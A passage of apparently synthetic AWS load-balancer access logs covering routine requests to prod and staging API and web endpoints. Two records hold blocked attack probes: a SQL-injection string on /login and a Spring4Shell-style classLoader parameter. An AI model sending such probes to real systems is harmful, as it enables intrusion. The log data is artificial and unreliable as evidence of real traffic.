0.025186 0.480430 0.137842 200 200 301 4647 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d380-ff60a8a41a344bb9a6de2d1e" "staging-alb.example.com" "-" 7 2024-11-01T01:59:12.243868Z "forward" "-" "-" "14.110.94.163:8080" "200" "-" "-" +https 2024-11-01T01:59:14.041825Z prod-web-alb 88.158.158.14:28567 10.0.239.56:443 0.003057 0.189419 0.001710 200 200 772 9588 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d382-f2262dd452764054a0b39b18" "prod-web-alb.example.com" "-" 10 2024-11-01T01:59:14.041825Z "forward" "-" "-" "10.0.239.56:443" "200" "-" "-" +http 2024-11-01T01:59:14.960407Z staging-alb 237.91.67.75:62436 114.218.245.63:8080 0.046481 0.405401 0.030803 302 302 155 10430 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d382-ab4fbe9e0fc34d05893fe44c" "staging-alb.example.com" "-" 3 2024-11-01T01:59:14.960407Z "forward" "-" "-" "114.218.245.63:8080" "302" "-" "-" +https 2024-11-01T01:59:16.792331Z prod-api-alb 61.117.232.134:34512 10.0.131.146:443 0.063611 0.358328 0.083870 200 200 289 6099 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d384-1054b7e89a514860a8e0de7d" "prod-api-alb.example.com" "-" 7 2024-11-01T01:59:16.792331Z "forward" "-" "-" "10.0.131.146:443" "200" "-" "-" +http 2024-11-01T01:59:17.080308Z staging-alb 48.125.148.241:36525 16.221.166.112:443 0.043838 0.200527 0.149609 200 200 959 12619 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d385-c69a67ad28bc4633a2dc01b2" "staging-alb.example.com" "-" 3 2024-11-01T01:59:17.080308Z "forward" "-" "-" "16.221.166.112:443" "200" "-" "-" +http 2024-11-01T01:59:18.384568Z staging-alb 176.170.48.233:52146 241.158.255.101:8080 0.130214 0.693339 0.073384 200 200 937 5994 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d386-d1d9e39527b04291ba3e5d99" "staging-alb.example.com" "-" 9 2024-11-01T01:59:18.384568Z "forward" "-" "-" "241.158.255.101:8080" "200" "-" "-" +https 2024-11-01T01:59:19.278492Z prod-web-alb 252.4.125.9:20810 10.0.9.44:443 0.099220 0.411253 0.041377 200 200 531 5929 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d387-8fa13dccfea64765a8b2b26e" "prod-web-alb.example.com" "-" 2 2024-11-01T01:59:19.278492Z "forward" "-" "-" "10.0.9.44:443" "200" "-" "-" +https 2024-11-01T01:59:19.620042Z prod-api-alb 8.151.4.51:62181 10.0.35.27:443 0.095997 0.468289 0.077725 302 302 130 6553 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d387-50e52bfc2b6c4e7d920db403" "-" "-" 10 2024-11-01T01:59:19.620042Z "forward" "-" "-" "10.0.35.27:443" "302" "-" "-" +https 2024-11-01T01:59:21.468208Z prod-api-alb 172.22.185.3:34782 10.0.93.50:443 0.055035 0.081639 0.064634 302 302 673 3700 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d389-07eada68e8d447d2ba5b18b5" "prod-api-alb.example.com" "-" 10 2024-11-01T01:59:21.468208Z "forward" "-" "-" "10.0.93.50:443" "302" "-" "-" +https 2024-11-01T01:59:21.756467Z prod-api-alb 222.46.208.208:58905 10.0.83.209:443 0.026665 0.143601 0.081138 200 200 944 6191 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d389-70019aea771b4e968341d7b8" "prod-api-alb.example.com" "-" 3 2024-11-01T01:59:21.756467Z "forward" "-" "-" "10.0.83.209:443" "200" "-" "-" +https 2024-11-01T01:59:22.088916Z staging-alb 87.87.75.48:15802 86.222.8.32:443 0.017210 0.652216 0.096498 200 200 641 10954 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d38a-d4c5250504c54aa59ce80e4c" "staging-alb.example.com" "-" 1 2024-11-01T01:59:22.088916Z "forward" "-" "-" "86.222.8.32:443" "200" "-" "-" +https 2024-11-01T01:59:23.044510Z prod-api-alb 44.142.103.79:31774 10.0.36.50:443 0.091123 0.162690 0.046058 200 200 907 14884 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d38b-bb57f72102dc4e4a86417426" "prod-api-alb.example.com" "-" 4 2024-11-01T01:59:23.044510Z "forward" "-" "-" "10.0.36.50:443" "200" "-" "-" +https 2024-11-01T01:59:23.191509Z prod-web-alb 254.29.38.211:18393 10.0.228.22:443 0.075942 0.374648 0.076286 302 302 749 7333 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d38b-4d051bfb94014b85ac4b82d7" "-" "-" 3 2024-11-01T01:59:23.191509Z "forward" "-" "-" "10.0.228.22:443" "302" "-" "-" +https 2024-11-01T01:59:24.115410Z prod-api-alb 134.145.42.12:35729 10.0.107.166:443 0.015855 0.125574 0.034605 200 200 514 8089 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d38c-72508d7784714f0cad5eb7b4" "prod-api-alb.example.com" "-" 5 2024-11-01T01:59:24.115410Z "forward" "-" "-" "10.0.107.166:443" "200" "-" "-" +https 2024-11-01T01:59:25.108074Z prod-web-alb 217.206.54.105:23116 10.0.2.207:443 0.070292 0.425728 0.009525 302 302 966 11198 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d38d-ee8712a772b544ad9f90afef" "prod-web-alb.example.com" "-" 6 2024-11-01T01:59:25.108074Z "forward" "-" "-" "10.0.2.207:443" "302" "-" "-" +https 2024-11-01T01:59:27.097732Z staging-alb 55.25.58.46:50191 242.232.128.196:8080 0.108513 0.525111 0.022417 200 200 68 1327 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d38f-103d0e219787483785dc5700" "staging-alb.example.com" "-" 10 2024-11-01T01:59:27.097732Z "forward" "-" "-" "242.232.128.196:8080" "200" "-" "-" +https 2024-11-01T01:59:28.031352Z prod-api-alb 83.17.214.178:17087 10.0.184.228:443 0.028110 0.230635 0.093172 200 200 749 3466 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d390-b2e729d0751f44cb994a40bf" "-" "-" 6 2024-11-01T01:59:28.031352Z "forward" "-" "-" "10.0.184.228:443" "200" "-" "-" +https 2024-11-01T01:59:28.764234Z prod-web-alb 122.181.121.125:26667 10.0.50.180:443 0.057586 0.000004 0.043607 200 200 679 2056 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d390-99c0467172df4388b93dadd1" "prod-web-alb.example.com" "-" 5 2024-11-01T01:59:28.764234Z "forward" "-" "-" "10.0.50.180:443" "200" "-" "-" +https 2024-11-01T01:59:28.887628Z prod-api-alb 124.224.26.227:21861 10.0.115.73:443 0.044760 0.412910 0.011765 200 200 990 3554 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d390-027c25a5e7a9466286e5ec6e" "prod-api-alb.example.com" "-" 6 2024-11-01T01:59:28.887628Z "forward" "-" "-" "10.0.115.73:443" "200" "-" "-" +https 2024-11-01T01:59:30.348535Z prod-api-alb 185.116.142.11:64791 10.0.208.50:443 0.061998 0.341543 0.031471 302 302 951 2901 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d392-cf9d640ad8c3404e91e44a4a" "prod-api-alb.example.com" "-" 0 2024-11-01T01:59:30.348535Z "forward" "-" "-" "10.0.208.50:443" "302" "-" "-" +https 2024-11-01T01:59:31.649091Z prod-web-alb 185.181.184.201:35230 10.0.11.97:443 0.065946 0.416618 0.080386 403 403 468 2564 "POST /login?id=1'-- HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d393-0f18d88d5cb54607b22fedb5" "-" "-" 0 2024-11-01T01:59:31.649091Z "forward" "-" "-" "10.0.11.97:443" "403" "-" "-" +https 2024-11-01T01:59:32.728248Z prod-api-alb 65.194.80.88:49120 10.0.105.205:443 0.092086 0.179810 0.098765 200 200 107 13222 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d394-e1c35d8b44bd404b9fd33176" "prod-api-alb.example.com" "-" 0 2024-11-01T01:59:32.728248Z "forward" "-" "-" "10.0.105.205:443" "200" "-" "-" +https 2024-11-01T01:59:34.107298Z prod-web-alb 1.110.80.132:34166 10.0.58.232:443 0.050126 0.321357 0.006884 200 200 827 9894 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d396-92128f73de244b7f94cff864" "prod-web-alb.example.com" "-" 3 2024-11-01T01:59:34.107298Z "forward" "-" "-" "10.0.58.232:443" "200" "-" "-" +https 2024-11-01T01:59:35.207936Z prod-web-alb 240.6.52.177:27398 10.0.154.141:443 0.074269 0.258015 0.079643 302 302 374 11631 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d397-f7fc6904068c4b9ea6ce25c6" "prod-web-alb.example.com" "-" 5 2024-11-01T01:59:35.207936Z "forward" "-" "-" "10.0.154.141:443" "302" "-" "-" +http 2024-11-01T01:59:36.721878Z staging-alb 51.155.253.40:17023 171.82.59.82:80 0.015832 0.704420 0.079207 200 200 878 3730 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d398-32b2b4c2deea4d35ae79da03" "staging-alb.example.com" "-" 4 2024-11-01T01:59:36.721878Z "forward" "-" "-" "171.82.59.82:80" "200" "-" "-" +https 2024-11-01T01:59:37.842982Z prod-web-alb 93.95.41.170:15772 10.0.4.4:443 0.009511 0.296800 0.060597 200 200 582 12882 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d399-e9ca8e4664d64f6191827907" "prod-web-alb.example.com" "-" 7 2024-11-01T01:59:37.842982Z "forward" "-" "-" "10.0.4.4:443" "200" "-" "-" +https 2024-11-01T01:59:37.979436Z prod-api-alb 193.27.228.71:19262 10.0.109.53:443 0.099686 0.332364 0.029806 403 403 707 4200 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d399-4d39a595687048fa9e26994f" "-" "-" 7 2024-11-01T01:59:37.979436Z "forward" "-" "-" "10.0.109.53:443" "403" "-" "-" +http 2024-11-01T01:59:38.443917Z staging-alb 151.30.75.55:34347 64.134.134.185:8080 0.017360 0.259443 0.048374 200 200 27 7473 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d39a-f7ef31b6509d4d8d9773d3f4" "staging-alb.example.com" "-" 7 2024-11-01T01:59:38.443917Z "forward" "-" "-" "64.134.134.185:8080" "200" "-" "-" +https 2024-11-01T01:59:40.431931Z prod-api-alb 161.102.161.112:64743 10.0.33.245:443 0.062439 0.293468 0.019089 200 200 745 14316 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d39c-f0aa599f7fc74182a9f78e59" "prod-api-alb.example.com" "-" 10 2024-11-01T01:59:40.431931Z "forward" "-" "-" "10.0.33.245:443" "200" "-" "-" +https 2024-11-01T01:59:41.058551Z prod-api-alb 7.119.127.2:56322 10.0.126.110:443 0.022921 0.088477 0.053730 200 200 428 3600 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d39d-bc32263caee94a29ae2ac7d7" "prod-api-alb.example.com" "-" 2 2024-11-01T01:59:41.058551Z "forward" "-" "-" "10.0.126.110:443" "200" "-" "-" +https 2024-11-01T01:59:42.989272Z prod-web-alb 48.118.137.197:41562 10.0.77.22:443 0.050351 0.465185 0.071479 200 200 890 4800 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d39e-8a2672db5a66404b9d1300d9" "prod-web-alb.example.com" "-" 5 2024-11-01T01:59:42.989272Z "forward" "-" "-" "10.0.77.22:443" "200" "-" "-" +https 2024-11-01T01:59:44.983116Z staging-alb 246.75.116.36:63744 138.138.46.155:80 0.083360 0.159306 0.145243 302 302 450 266 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3a0-446d8c9f0da1456ca6d8231f" "staging-alb.example.com" "-" 4 2024-11-01T01:59:44.983116Z "forward" "-" "-" "138.138.46.155:80" "302" "-" "-" +http 2024-11-01T01:59:46.964563Z staging-alb 243.143.96.52:62111 111.149.124.96:443 0.057979 0.721722 0.016074 200 200 46 14154 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3a2-f7ddf9af8c5d47f2bac29ba4" "staging-alb.example.com" "-" 6 2024-11-01T01:59:46.964563Z "forward" "-" "-" "111.149.124.96:443" "200" "-" "-" +http 2024-11-01T01:59:48.961527Z staging-alb 125.200.43.230:14790 117.228.117.102:8080 0.121339 0.039686 0.052255 200 200 957 3849 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3a4-a1cdaf99e65d4550928be8f7" "-" "-" 9 2024-11-01T01:59:48.961527Z "forward" "-" "-" "117.228.117.102:8080" "200" "-" "-" +https 2024-11-01T01:59:49.875312Z prod-web-alb 252.93.123.203:34903 10.0.108.21:443 0.064647 0.323261 0.000064 200 200 498 6316 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3a5-ce082df4ee794b9187d2b0cc" "prod-web-alb.example.com" "-" 1 2024-11-01T01:59:49.875312Z "forward" "-" "-" "10.0.108.21:443" "200" "-" "-" +https 2024-11-01T01:59:50.203723Z prod-web-alb 99.152.136.184:32680 10.0.81.51:443 0.060563 0.382228 0.033487 302 302 867 2034 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3a6-22a1dc2e114a487bbb7fbe91" "prod-web-alb.example.com" "-" 7 2024-11-01T01:59:50.203723Z "forward" "-" "-" "10.0.81.51:443" "302" "-" "-" +http 2024-11-01T01:59:51.608027Z staging-alb 42.57.100.49:51653 249.127.20.54:8080 0.102741 0.241734 0.081845 200 200 349 14760 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3a7-56a7bdb8deb743e4b35acae9" "staging-alb.example.com" "-" 2 2024-11-01T01:59:51.608027Z "forward" "-" "-" "249.127.20.54:8080" "200" "-" "-" +http 2024-11-01T01:59:53.497841Z staging-alb 203.89.116.108:42381 238.237.115.31:80 0.117789 0.248516 0.119327 302 302 840 2547 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3a9-c5d68c47ba5c4afa8a241733" "staging-alb.example.com" "-" 3 2024-11-01T01:59:53.497841Z "forward" "-" "-" "238.237.115.31:80" "302" "-" "-" +https 2024-11-01T01:59:53.760848Z prod-web-alb 70.167.194.150:64284 10.0.138.183:443 0.015362 0.384859 0.033694 301 301 176 11209 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3a9-4cf7bef277f2430ba259b992" "prod-web-alb.example.com" "-" 4 2024-11-01T01:59:53.760848Z "forward" "-" "-" "10.0.138.183:443" "301" "-" "-" +https 2024-11-01T01:59:54.184012Z prod-api-alb 95.165.245.145:53851 10.0.74.40:443 0.021761 0.464776 0.059367 301 301 928 12513 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3aa-bf556bcc9d804c20becbc3a7" "prod-api-alb.example.com" "-" 2 2024-11-01T01:59:54.184012Z "forward" "-" "-" "10.0.74.40:443" "301" "-" "-" +http 2024-11-01T01:59:54.467217Z staging-alb 228.247.83.243:57733 196.39.24.185:443 0.068496 0.267627 0.087706 200 200 942 9765 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3aa-8c6c2a622d8a401690e169cc" "staging-alb.example.com" "-" 8 2024-11-01T01:59:54.467217Z "forward" "-" "-" "196.39.24.185:443" "200" "-" "-" +https 2024-11-01T01:59:55.036858Z staging-alb 231.95.97.87:30245 23.115.116.253:443 0.005165 0.557746 0.082680 302 302 438 13387 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3ab-8cb429b4aed5486290424496" "staging-alb.example.com" "-" 7 2024-11-01T01:59:55.036858Z "forward" "-" "-" "23.115.116.253:443" "302" "-" "-" +http 2024-11-01T01:59:56.068346Z staging-alb 143.251.148.18:46047 108.96.248.119:8080 0.064745 0.269802 0.002921 404 404 935 11355 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3ac-bdf0023a93d742b484a9702e" "staging-alb.example.com" "-" 2 2024-11-01T01:59:56.068346Z "forward" "-" "-" "108.96.248.119:8080" "404" "-" "-" +https 2024-11-01T01:59:56.931611Z prod-web-alb 251.32.73.112:36134 10.0.102.188:443 0.013151 0.191505 0.088973 301 301 185 2016 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3ac-124fb8791ed24d74948e6b3a" "prod-web-alb.example.com" "-" 2 2024-11-01T01:59:56.931611Z "forward" "-" "-" "10.0.102.188:443" "301" "-" "-" +https 2024-11-01T01:59:58.791036Z prod-web-alb 76.213.199.166:43357 10.0.165.225:443 0.049580 0.294588 0.092688 404 404 899 7093 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3ae-257a1f43592b412ca5b7c513" "prod-web-alb.example.com" "-" 8 2024-11-01T01:59:58.791036Z "forward" "-" "-" "10.0.165.225:443" "404" "-" "-" +https 2024-11-01T01:59:58.896099Z prod-api-alb 68.56.98.161:43621 10.0.157.74:443 0.028024 0.036099 0.044231 301 301 151 12332 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3ae-03a888764cc84d30aef491e1" "prod-api-alb.example.com" "-" 6 2024-11-01T01:59:58.896099Z "forward" "-" "-" "10.0.157.74:443" "301" "-" "-" +https 2024-11-01T01:59:59.127918Z prod-api-alb 135.240.8.37:59186 10.0.152.112:443 0.036030 0.372436 0.011402 200 200 675 7159 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3af-f37430dfe31f4609be3f2f32" "prod-api-alb.example.com" "-" 5 2024-11-01T01:59:59.127918Z "forward" "-" "-" "10.0.152.112:443" "200" "-" "-" +https 2024-11-01T02:00:01.005498Z prod-web-alb 18.229.11.174:48692 10.0.104.106:443 0.088152 0.354279 0.097175 404 404 149 1283 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3b1-263e069f05604cb8b2c0b2f1" "prod-web-alb.example.com" "-" 4 2024-11-01T02:00:01.005498Z "forward" "-" "-" "10.0.104.106:443" "404" "-" "-" +http 2024-11-01T02:00:02.606462Z staging-alb 98.15.101.129:11650 182.42.7.190:443 0.051262 0.107080 0.031869 200 200 632 7858 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 